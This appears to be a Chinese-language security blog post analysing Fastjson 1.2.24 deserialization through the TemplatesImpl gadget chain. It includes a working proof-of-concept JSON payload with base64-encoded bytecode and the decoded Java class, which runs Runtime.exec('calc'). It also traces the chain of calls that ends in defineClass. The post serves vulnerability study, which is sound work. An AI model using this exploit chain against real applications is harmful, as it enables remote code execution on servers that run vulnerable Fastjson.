Fastjson反序列化分析

慢慢更新,每个版本都过一遍

FastJson & TemplatesImpl

  • 环境: FastJson <= 1.2.24
  • 运行环境:Java 1.8.0_121
  • 利用链:TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}

首先先来介绍一下defineClass方法

defineClass是java中的一种方法,通常在ClassLoader类或者其他子类中使用,他的主要作用是将字节码转换为Java类对象

所以根据这一特性,我们可以通过传入恶意的字节码让他转换后调用,执行恶意操作

但是在实际场景中,defineClass方法作用域是不开放,所以很难直接利用它,只能通过别的方法来调用

TransletClassLoader中,我们发现它就调用了这个方法

1

我们使用find usages找到哪里使用了,发现defineTransletClasses

2

继续往上跟,找到了getTransletInstance方法

3

PS: 同时还找到了其他两个方法,但是我们仔细看,它并没有做额外其他的操作,只有第三个getTransletInstance才进行了转换类的操作

4

继续查找,跟到了newTransformer,到这一步就可以了,因为它已经是公共的了

5

但我们留意到,实际上触发的点,还有上一步,代码就在它的下面,getOoutputProperties方法

6

那么为什么我们在传入poc的时候会触发这个呢,这是因为FastJson在反序列化时会自动调用目标类中的getter方法

7

FastJson中,它调用的时序是这样的

  1. 解析JSON字符串
  2. 查找所有符合getter命名规范的方法
  3. 如果json中包含相应的属性名,触发对应的getter方法

那么我们结合网上的poc来看

1
2
3
4
5
6
7
String text = "{
\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_bytecodes\":[\"yv66vgAA...AAAACACQ=\"],
'_name':'a.b','_tfactory':{ },
"_outputProperties\":{ }
}";
_outputProperties`包含在这段poc中的时候,会触发`getter`方法,因为这是符合它的命名规范的,所以在反序列化的过程中,它会去调用`getOurputProperties()

最后的攻击链就是

1
getOurputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()

但是在defineTransletClasses()中要注意一点,它会去进行一个判断

8

我们在前面可以翻到,意思就是说,他会去对比判断,是不是这个超类

9

所以我们在poc中,需要继承这个类

1
public class Test extends AbstractTranslet

最后需要转换的_bytecodes,解过来就是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

最后,配合利用链,就能把这个转换成类,然后执行我们的代码了

但是它有一个限制,需要你的代码开启Feature.SupportNonPublicField

10

因为在TemplatesImpl类中,这些都是私有字段,启用了之后,Fastjson才能访问privateprotected等非公开字段

11

而poc中,又需要_bytecodes来注入恶意代码,所以不开启的情况下,无法正常利用